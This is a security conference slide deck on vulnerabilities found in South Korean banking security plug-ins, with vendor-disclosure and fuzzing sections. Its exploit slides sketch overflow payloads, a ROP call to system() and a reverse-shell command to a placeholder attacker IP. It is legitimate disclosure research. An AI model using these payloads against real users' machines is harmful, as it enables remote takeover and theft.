Non-ActiveX? Non-Security!

Offensive Research of security program used in Prime banks of S. Korea

Transforming : Cybersecurity and Resilience
**SPEAKER INFO**

- **JEONG-MIN LEE**
  - Interest in security consulting, offensive research, and secure SDL
  - Offensive Research group S.S.G
  - KITRI BoB Security Consulting track

- **JUN-OH LEE**
  - CTF player in team CyKor
  - Reverse engineer, Exploit Developer (prized in 2018 Ooctf final and 2018 wctf)
  - Instructor at Korea Univ. security class
  - KITRI BoB Vulnerability Analysis track

- **JU-SEON LEE**
  - CTF Player in team ReverseLab
  - Take part in Android unpack research (Tencent, Ali, bancel, etc...)
  - Currently interested in iOS jailbreak and Kernel Fuzzing
  - KITRI BoB Vulnerability Analysis track
How important it is to detect and patch vulnerabilities in software used by major government agencies and financial institutions
1. Background

- Cyber Payment Transaction Diagram
- On-line Banking System Diagram
- Security Factors Diagram on On-line Banking System
- Features of Major Security Solution
- Plug-in
- Unsecure JSON-RPC Model (Non-ActiveX Overview)
- Cyber Terror Case
1. General Cyber Payment Transaction Diagram

1. Payments Order
2. Withdraw
3. Send Withdrawal History
4. Deposit Order
5. Deposit
6. Send Deposit History
7. Payment Relay System
8. Processing Result Specification
9. Account lookup & Withdrawal
1.2 On-line Banking System Diagram

Prime Banks

Web Server
WAS

Financial Server
Core Server (Host)

Korea Financial Telecommunications and Clearings Institute, KFTC

Certificated Authority Server

User PC

Financial Joint Network
1.3 Security Factors Diagram on On-line Banking System

User Section

Communication Path

Internet Service Section

Bank Host Section

- Security Card
- OTP
- Certificate
- Account Password
- Security Solution (Keyboard, PC-AV & Firewall, IP monitoring)

Encryption

Cyber Signature & Repudiation Prevention

Firewall & IPS

Security Control System

Cyber Financial Transaction Tracking System

Firewall & IPS

Anti-Virus

Threat Analysis & Vulnerability diagnosis
1.4 Security Factors Diagram on On-line Banking System (Our Target)

User Section

Security Card
OTP
Certificate
Account Password

**Security Solution**
(Keyboard, PC-AV & Firewall, IP monitoring)

Communication Path

Encryption

Cyber Signature & Repudiation Prevention

Internet Service Section

Firewall & IPS

Security Control System

Cyber Financial Transaction Tracking System

Bank Host Section

Firewall & IPS

Anti-Virus

Threat Analysis & Vulnerability diagnosis
<table>
<thead>
<tr>
<th>Solution Type</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>Integrated Installation</td>
<td>It installs several security modules that we must install to use on-line baking service at once</td>
</tr>
<tr>
<td>Certificate</td>
<td>It allows we to select a personal certificate issued by a Certificate Authority and to enter the certificate password to be authenticated (Maybe Korea Only)</td>
</tr>
<tr>
<td>Firewall &amp; General Security</td>
<td>It performs <strong>Anti-Virus &amp; Firewall, Memory Protection, Anti-Keylogger and Response Analysis</strong> Function</td>
</tr>
<tr>
<td>Keyboard</td>
<td>It support <strong>End to End security between keyboard and server</strong>, responses to screen hacking threat</td>
</tr>
<tr>
<td>Log Collector</td>
<td>Cyber threat and <strong>attacker information collection</strong> and analysis system (Real IP collector)</td>
</tr>
</tbody>
</table>
1.6 Plug-in (like IE Active-X, Java Applets …)

**Required Plug-ins for Banking, Civil service, Online payment**

### Essential Plugs

- **Banking**
- **Civil service**
- **Online payment**

### Plugs List

<table>
<thead>
<tr>
<th>Plug</th>
<th>Program Name</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>필수</td>
<td>동합설치 프로그램 (VeriPort)</td>
<td>Banking, Civil service, Online payment</td>
</tr>
<tr>
<td>필수</td>
<td>키보드 보안 (K-Defense)</td>
<td>Banking, Civil service, Online payment</td>
</tr>
<tr>
<td>선택</td>
<td>공인인증서 보안 (MagicLineMNP)</td>
<td>Banking, Civil service, Online payment</td>
</tr>
<tr>
<td>선택</td>
<td>문서보안 (e-page SAFER)</td>
<td>Banking, Civil service, Online payment</td>
</tr>
<tr>
<td>선택</td>
<td>웹콘텐츠 보안 (webDRM)</td>
<td>Banking, Civil service, Online payment</td>
</tr>
<tr>
<td>선택</td>
<td>LG유플러스 전자정산 (EXPAY 결제)</td>
<td>Banking, Civil service, Online payment</td>
</tr>
</tbody>
</table>

### Setting Instructions

- **Install**
- **Install**
- **Install**

![Image of web interface with plug-in prompts]
1.7 General RPC Model (Non-ActiveX Overview)

Bank Website → Function Request (JSON-RPC)

Security Program Client ← Security Program Server

User PC
void vuln(int sockfd, char*data){
    char buffer[16] = {0, }; // Incorrect length
    ... 
    int length = strlen(data); // Correct length
    read(sockfd, buffer, length);
    ... 
}
South Korea's Online Banking System Is Stuck In 1996

“[My bank’s] security apps slow my computer to a crawl so I have to uninstall them after every use, and then reinstall them when I want to buy something.”

Elaine Ramirez  Contributor

‘Ridiculous Mistake’ Let North Korea Steal Secret U.S. War Plans

Hackers allegedly used antivirus software to steal South Korea-U.S. military plans from network mistakenly connected to the internet for more than a year

The attacks exploit a vulnerability in ActiveX, a plug-in that allows certain applications to be used by Microsoft Corp.’s Internet Explorer browser. The U.S. cybersecurity organization used by the Department of Homeland Security has recommended people disable ActiveX because of vulnerability to attacks by hackers. Microsoft began phasing out ActiveX with its new web browser, Edge, in 2015.

North Korea, While Professing Peace, Escalated Cyberattacks on South

The attacks started in the lead-up to the inter-Korean summit in April and continued through at least Wednesday this week.
South Korea's Online Banking System Is Stuck In 1996

"I can't f***ing buy a computer across the room," says Seoulite Jeonghyun Kwon, an avid online shopper, after another failed attempt to buy a sweater.

"[My bank's] security apps slow my computer to a crawl so I have to uninstall them after every use, and then reinstall them when I want to buy something."

Lazarus Group used ActiveX zero-day vulnerability to attack South Korean security think tank

The South Korean agency focuses on national security issues and is believed to have been attacked by North Korean hackers.

‘Ridiculous Mistake’ Let North Korea Steal Secret U.S. War Plans

Hackers allegedly used antivirus software to steal South Korea-U.S. military plans from network mistakenly connected to the internet for more than a year.

North Korea, While Professing Peace, Escalated Cyberattacks on South

The attacks started in the lead-up to the inter-Korean summit in April and continued through at least Wednesday this week
2. Offensive Research

- Target Listing
- Vulnerability Analysis, Report, Patch Process
- Mitigation Bypass on Windows (API-Deobfuscator, Unpacking)
- Lua Script For Cheat Engine to Release Jump Trick and Find OEP
- Symbol Restoration
- 0-day Vulnerability List
- Arbitrary Write by OOB, RCE
- Stack Buffer Overflow, RCE
- Stack Buffer Overflow, RCE+LPE
- Arbitrary File Write, RCE+LPE
# 2.1 Target(Security Modules) LISTING

“Listing of Security Modules That Must be Installed for On-line Banking Services on The Prime Bank”

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Installation</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
</tr>
<tr>
<td>Certificate</td>
<td>D Module</td>
<td>D Module</td>
<td>I Module</td>
<td>X Module</td>
<td>I Module</td>
<td>D Module</td>
<td>I Module</td>
<td>I Module</td>
</tr>
<tr>
<td>Firewall</td>
<td>A Module</td>
<td>W Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td></td>
<td>A Module</td>
</tr>
<tr>
<td>Keyboard</td>
<td>T Module</td>
<td>T Module</td>
<td>T Module</td>
<td>T Module</td>
<td>T Module</td>
<td></td>
<td></td>
<td>T Module</td>
</tr>
<tr>
<td>Log Monitor</td>
<td></td>
<td>P Module</td>
<td></td>
<td></td>
<td>P Module</td>
<td>P Module</td>
<td>P Module</td>
<td>P Module</td>
</tr>
<tr>
<td></td>
<td>I Bank</td>
<td>J Bank</td>
<td>K Bank</td>
<td>L Bank</td>
<td>M Bank</td>
<td>N Bank</td>
<td>O Bank</td>
<td>P Bank</td>
</tr>
<tr>
<td>Installation</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
</tr>
<tr>
<td>Certificate</td>
<td>D Module</td>
<td>D Module</td>
<td>D Module</td>
<td>I Module</td>
<td>S Module</td>
<td>S Module</td>
<td>I Module</td>
<td>I Module</td>
</tr>
<tr>
<td>Firewall</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
</tr>
<tr>
<td>Keyboard</td>
<td>T Module</td>
<td>T Module</td>
<td>T Module</td>
<td></td>
<td>T Module</td>
<td></td>
<td></td>
<td>T Module</td>
</tr>
<tr>
<td>Log Monitor</td>
<td>P Module</td>
<td>P Module</td>
<td>P Module</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>P Module</td>
</tr>
</tbody>
</table>
2.2 Vulnerability Analysis, Report, Patch Process

Listing
Feature Analysis

Target: 10 Security Solution
FIND VULN, DO EXPLOIT

FIND VULN, DO EXPLOIT

PoC Code/Video

Vulnerability Report

Patch Recommendation to Vendor

Report to the institution

Patch & Release

<table>
<thead>
<tr>
<th>Module</th>
<th>Installation</th>
<th>Certificate</th>
<th>Firewall</th>
<th>Keyboard</th>
<th>Log Collector</th>
<th>DRM</th>
<th>Document Viewer</th>
<th>Stock Security</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>V Module</td>
<td>D Module</td>
<td>A Module</td>
<td>T Module</td>
<td>P Module</td>
<td>R Module</td>
<td>E Module</td>
<td>K Module</td>
</tr>
<tr>
<td></td>
<td></td>
<td>I Module</td>
<td></td>
<td></td>
<td></td>
<td>S Module</td>
<td></td>
<td>C Module</td>
</tr>
</tbody>
</table>
2.3 Mitigation bypass on Windows (API-Deobfuscator, Themida Unpacking)

Finished
Success 395 Fail 3 All 398
From 121f000 To 135bc00
Found OEP : 0133FD3 - E8 F28A0000 - call 01346ACA
function `follows` (addr)
local CNT = 0x300
local pc = addr
for i = 0, CNT do
    local destAddr = getDestAddr(pc, true)
    if destAddr then
        pc = destAddr
    else
        pc = pc + getInstructionSize(pc)
    end
    if inSystemModule(pc) then
        return pc
    end
end
return nil
end

function `fix_api` (addr)
local funcAddr = getDestAddr(addr, true)
local apiAddr = getApiAddr(funcAddr)
if apiAddr then
    local scriptStr = [=[
        %x:
        %s
    ]]=]
    local address, opcode = disas(addr)
    local ins = string.match(opcode, '%a+%'s+)
    local insStr = string.format("%s %s", ins, apiAddr)
    scriptStr = string.format("%s %x", insStr, apiAddr)
    autoAssemble(scriptStr)
end
return apiAddr
end

function `fixs` (from, to)
local pc = from
local allCnt = 0
local cnt = 0
while pc < to do
    local destAddr = getDestAddr(pc, true)
    if destAddr and getAddressSafe(destAddr) and not inModule(destAddr) then
        local apiAddr = fix_api(pc)
        allCnt = allCnt + 1
        if apiAddr then
            cnt = cnt + 1
            print(string.format("(%d) %x[%s] - %s", cnt, pc, getNameFromAddress(pc), getNameFromAddress(apiAddr)))
        else
            print(string.format("(%d) failed %x[%s]", allCnt, pc, getNameFromAddress(pc)))
        end
        pc = pc + getInstructionSize(pc)
    end
end
print("Finished")
return cnt, allCnt
end

github.com/push0ebp/api-deobfuscator
2.5 Symbol Restoration using IDA FLIRT plugin/OS X Binary Compare on Windows

“Stripped symbols are recovered via IDA’s FLIRT plug-in, and OS X Binary”

[Diagram showing symbol restoration process]

BlackBox Test
(Hard-to-find Handlers, Input Type, Legacy Code)

Symbol Restoration

Similar to Original Source Code

https://github.com/Maktm/FLIRTDB
<table>
<thead>
<tr>
<th>NO</th>
<th>Module Name</th>
<th>Vulnerability Type</th>
<th>Vulnerability Abstract (NDA)</th>
<th>CVSS Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>V Module</td>
<td>Race Condition (ToC-ToU) Command Injection</td>
<td>RCE</td>
<td>6.8/10.0 (Medium)</td>
</tr>
<tr>
<td>2</td>
<td>V Module</td>
<td>Race Condition (ToC-ToU)</td>
<td>RCE + LPE</td>
<td>7.5/10.0 (High)</td>
</tr>
<tr>
<td>3</td>
<td>V Module</td>
<td>Out of Bounds</td>
<td>RCE</td>
<td>7.0/10.0 (High)</td>
</tr>
<tr>
<td>4</td>
<td>P Module</td>
<td>Command Injection</td>
<td>LPE</td>
<td>8.8/10.0 (High)</td>
</tr>
<tr>
<td>5</td>
<td>P Module</td>
<td>Command Injection</td>
<td>RCE + LPE</td>
<td>9.0/10.0 (Critical)</td>
</tr>
<tr>
<td>6</td>
<td>K Module</td>
<td>Stack Buffer Overflow</td>
<td>RCE</td>
<td>8.0/10.0 (High)</td>
</tr>
<tr>
<td>7</td>
<td>C Module</td>
<td>Stack Buffer Overflow</td>
<td>RCE</td>
<td>8.0/10.0 (High)</td>
</tr>
<tr>
<td>8</td>
<td>A Module</td>
<td>Command Injection</td>
<td>LPE</td>
<td>7.7/10.0 (High)</td>
</tr>
<tr>
<td>9</td>
<td>A Module</td>
<td>Command Injection</td>
<td>LPE</td>
<td>7.7/10.0 (High)</td>
</tr>
<tr>
<td>10</td>
<td>A Module</td>
<td>Stack Buffer Overflow</td>
<td>RCE + LPE</td>
<td>9.0/10.0 (Critical)</td>
</tr>
<tr>
<td>11</td>
<td>I Module</td>
<td>Type Confusion</td>
<td>RCE</td>
<td>8.1/10.0 (High)</td>
</tr>
<tr>
<td>12</td>
<td>E Module</td>
<td>Stack Buffer Overflow</td>
<td>RCE + LPE</td>
<td>10.0/10.0 (Critical)</td>
</tr>
<tr>
<td>13</td>
<td>S Module</td>
<td>Directory listing</td>
<td>Remote Directory Listing (EOP)</td>
<td>5.8/10.0 (Medium)</td>
</tr>
<tr>
<td>14</td>
<td>S Module</td>
<td>File copy</td>
<td>Remote File Copy (EOP)</td>
<td>4.8/10.0 (Medium)</td>
</tr>
<tr>
<td>15</td>
<td>S Module</td>
<td>Delete CA</td>
<td>Remote Certificate Delete (EOP)</td>
<td>6.8/10.0 (Medium)</td>
</tr>
<tr>
<td>16</td>
<td>S Module</td>
<td>Permission Issue</td>
<td>Remote Sandboxing Bypass (EOP)</td>
<td>6.5/10.0 (Medium)</td>
</tr>
<tr>
<td>17</td>
<td>R Module</td>
<td>Arbitrary File Write</td>
<td>RCE + LPE</td>
<td>9.0/10.0 (Critical)</td>
</tr>
</tbody>
</table>

4 Critical
8 High
5 Medium

Zero-Day Vulnerability Found in 9 Target
### Table: Financial Security Module Vulnerability

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Installation</strong></td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
<td>V Module</td>
</tr>
<tr>
<td><strong>Certificate</strong></td>
<td>D Module</td>
<td>D Module</td>
<td>I Module</td>
<td>X Module</td>
<td>I Module</td>
<td>D Module</td>
<td>I Module</td>
<td>I Module</td>
</tr>
<tr>
<td><strong>Firewall</strong></td>
<td>A Module</td>
<td>W Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
<td>A Module</td>
</tr>
<tr>
<td><strong>Log Monitor</strong></td>
<td></td>
<td></td>
<td>P Module</td>
<td></td>
<td></td>
<td></td>
<td>P Module</td>
<td>P Module</td>
</tr>
<tr>
<td><strong>Stock Security</strong></td>
<td>K Module</td>
<td>C Module</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

---

“The Vulnerability of Non-ActiveX based Financial Security Module has Been Proven”
2.7 Arbitrary Write by Out Of Bounds, Remote Code Execution

https://127.0.0.1:PORT/?ID_BLOCK=A&INFO_BLOCK={index}/{size}&DATA_BLOCK={data}

LHASH_vtable (writable string object)

argument+dummy  exec( ) address

... 
ID_BLOCK_PTR = std::map(block_map, ID_BLOCK);
...
std::vector::resize(ID_BLOCK_PTR, size);
... 
std::string::operator=(*ID_BLOCK_PTR + 8 * index, data);
2.8 Stack Buffer Overflow, Remote Code Execution

Send Exploit Payload

Security Program Client

User PC

Stack Buffer Overflow

message={MESSAGE_HEX_ENCODED}&returnURL={URL_HEX_ENCODED}

cdq sled

SHELLCODE

cdq sled

v111 (256 byte)

parameter_size = v11 - v10
(size verification X)

v10 = strstr(v5, "returnURL=")+10
v11 = strstr(v10,"&");

EIP control

264 byte dummy

returnURL=GET parameter length check inadequate

Get Shell
### 2.9 Stack Buffer Overflow, Remote Code Execution with Root Privilege

#### Exploit Payload

<table>
<thead>
<tr>
<th>(v6~v13)</th>
<th>&quot;0.&quot; x (0x60-0x28)/4 OVERFLOW</th>
</tr>
</thead>
<tbody>
<tr>
<td>(v6~RET)/sizeof(int)</td>
<td>25 EIP Control</td>
</tr>
<tr>
<td>{(rbp-rsp)-0xf40}/4</td>
<td>&quot;0.&quot; padding ROP</td>
</tr>
<tr>
<td>bash -i &gt;&amp; /dev/tcp/AttackerIP:PORT 0&gt;&amp;1</td>
<td>1752392034.543763744.790636094.795894644.775436081.775434801.825111096.858731056.926102321.641609760.15153 Shell Command Execution</td>
</tr>
</tbody>
</table>

#### Security Program

- **Client**: Receive and parse IP address
- **User PC**: Use ROP gadget to execute system command
- **Send Exploit Payload**: Overflows stack to execute arbitrary code

#### Code Snippet

```c
v11 = strdup(ipaddr);
nptr = strtok(v11, ".");
...
v13 = 0;
while(nptr)
{
  v2 = v13;
  *((_DWORD *)&v6 + v2) = atoi(nptr);
  ++v13;
  nptr = strtok(NULL, ".");
}
```

#### ROP Gadget

```
lea rax, [rbp+s]; rbp-0xf40
mov rdi, rax ; command
call _system
```
2.10 Arbitrary File Write, Remote Code Execution with Root Privilege

Send Exploit Payload

Security Program Client

User PC

Get Shell

Create {FILENAME}.exe\x00.html

Arbitrary File Write

v2 = sub_4012D0((QString *)&v11, (const struct QString *)&v14, (int)"/SecurityModule/temp");
...
sub_4012D0((QString *)&v12, v5, (int)".html");
3. Threat Scenario & Demo Video

- Zero-Click RCE using IP address
- VM escape on windows
- Remote code execution via Famous Messenger Program
- RCE + LPE via Fake Bank Website
3.1 Zero-Click RCE using IP address

OFF THE RECODE
3.2 VM Escape on Windows 10

OFF THE RECODE
3.3 Remote Code Execution via Famous Messenger Program

OFF THE RECODE
3.4 RCE + LPE via Fake Bank Website (Fishing/ Farming)

OFF THE RECODE
4. JSON-RPC Fuzzing Framework

Fuzzing Framework for JSON-RPC Binary
JSON-RPC Automated Fuzzing Framework
Basic JSON Fuzzing Mechanism
Fuzzing Phase
Future Work
2 types fuzzer component
- Generation Fuzzer
- Mutation Fuzzer

Binary analyzer
- Currently using radare2
- VEX IR
- Taint engine
4.2 Fuzzing Framework for JSON-RPC Binary (Briefing Scope)

Interesting but very challenging area!
But, we don’t treat this today, :( 
4.3 JSON-RPC Automated Fuzzing Framework: Overview

1. Basic block generation based on branch instruction and Generate CFG
2. Create JsonCpp functions CFG to generalize code pattern
3. Specify RootBlock from above CFG as the start block
4. Set the taint bit to the arguments of specific function to figure out where they come from.

- When we create JsonCpp functions CFG, there is a specific code pattern internally that gets JSON key-value pair.
- Perform static analysis with backward and forward based on the tainted variable.
- You can infer the type of a specific member value through JsonCpp methods such as isObject, isInt, etc., based on the JsonCpp functions CFG.
4.4 JSON-RPC Automated Fuzzing Framework: Pattern

- JSON parsing is done in functions like `getObject`
- Internally, it gets the value for a particular key value
- Even if it is configured as a custom function type, it finally calls the JsonCpp library function
- If you follow the function call flow based on Basic Block, you can see how the key and value are structured
Taint this value: forward and backward

- Inside, there are sections that check whether the imported key value is Object or not
- This tells you that the key value is of Object type
- When you get the Key value, you use the same method as “Json :: Value :: get”, you can taint the used parameter to see what value it gets.
4.6 Fuzzing Framework for JSON-RPC Binary (Briefing Scope)

We focus on this part today :)
When we enter some bank website...
4.8 Fuzzing Framework for JSON-RPC Binary (Approach)


WebSocket connection to 'wss://127.0.0.1:30419/' failed: Error in connection establishment: net::ERR_CONNECTION_REFUSED


WebSocket is already in CLOSING or CLOSED state.

WebSocket connection to 'wss://127.0.0.1:30419/' failed: Error in connection establishment: net::ERR_CONNECTION_REFUSED


WebSocket is already in CLOSING or CLOSED state.

WebSocket connection to 'wss://127.0.0.1:30419/' failed: Error in connection establishment: net::ERR_CONNECTION_REFUSED


WebSocket is already in CLOSING or CLOSED state.

WebSocket connection to 'wss://127.0.0.1:30419/' failed: Error in connection establishment: net::ERR_CONNECTION_REFUSED

ASTX.init() failure: errno=103
uniwebkey_jQuery=function(e,t){return new x.fn.init(e,t,r)}

WebSocket is already in CLOSING or CLOSED state.

WebSocket connection to 'wss://127.0.0.1:30419/' failed: Error in connection establishment: net::ERR_CONNECTION_REFUSED

GET https://localhost:4441/?dmPortScan net::ERR_CONNECTION_REFUSED

jsloader onload callback = function() { eval("swLib.incJS(""+next++",""+callback+"")); }

GET https://localhost:4442/?dmPortScan net::ERR_CONNECTION_REFUSED

GET https://localhost:4443/?dmPortScan net::ERR_CONNECTION_REFUSED

GET https://localhost:4444/?dmPortScan net::ERR_CONNECTION_REFUSED

code:200
message:undefined
status:parsererror
error:Error: jQuery1102004614963159851171_1544159343976 was not called
- A lot of requests are there

- Just do your job with this service while monitoring the requests

- After that, when you see saved results
  - You know what handlers are called
  - What data types are used
  - What key types are used
EXAMPLE

- If key type is “Object”
  - generate other types key value such as Array, String type
  - Lead to type confusion

- Mutate key value based on default type
  - number of array elements
  - string length
  - negative integer, big number and floating point
4.11 Random Fuzzing

- Generate randomly chosen key value
- Example
  - XSS, SQLi, Random string, Jinja template, etc.
- Just specify JSON template like below to generate fuzz set

```
bfuzzer → cat template.json
{"data":@string,"key":@number}
{"data":{"data2":@number,"data3":@boolean}}
{"data":@number&@string}
{"data":{"data2":@number,"data3":@boolean,"data4":@number&@string}}
{"data":{"key":@string,"downloadurl":@string}}
```
- Need a manual reverse engineering to figure out required format
- In below example, Abort() routines are usually useless
- To expand code coverage, we need to make required format and fuzz rest of it

```c
if(!strncmp("https://", input, 8))
    ...
```

Abort()

Handling input value blocks

...
4.13 Fuzzing Phase

When Monitor Process get Crash, Fuzzer Process send the payload that trigger crash.
https://youtu.be/T9FW01FxadU
4.15 Fuzzing Framework for JSON-RPC Binary (Future Work)

Future

- Specialize binary analysis framework and separate it from bfuzzer
  - Branch to another research area :)

Branch to mac OS Kernel?

- Could we generalize code pattern of something like mach_msg?
  - If possible, we can extract specific argument values with no manual reverse engineering
  - At analysis phase, we can figure out what format is required to expand code coverage, which is what AEG framework do
5. Countermeasures & Conclusion

COUNTERMEASURES & CONCLUSION
5.1 Countermeasures

Offensive Research

Improved security through new 0-day vulnerability detection and patching after program distribution

Origin-Check Secure Server

Establish secure server to identify Origin Header unique to financial institution Web site

JSON-RPC Fuzzing Framework

Before distribution, Vendor specifies the JSON Input Type to perform the fuzzing, detects and patches the vulnerabilities in advance
5.2 Original RPC Model (Non-ActiveX)

- User PC
- Vulnerability
- GET SHELL

Send Exploit Payload

Security Program Client

Security Program Server
5.3 Secure RPC Model (Attack Protection by Origin-Check)

Send Exploit Payload  →  Security Program Client  →  Security Program Server → Origin-Check

User PC
5.4 Secure RPC Model (Origin-Check)
We hope that our briefing will contribute to the development of cyber security and resilience of the state and enterprise 😊
Thank you!

Q  &  A

Offensive Research of security program used in Prime banks of S. Korea

Contact us: LJM960905@gmail.com
Twitter: @r2alist, @bbbig12, @vngkv123

Cooperate with: push0ebp, noo, cdor1
Thanks to: hdarwin, Jack2yo, Kwak KyoungJu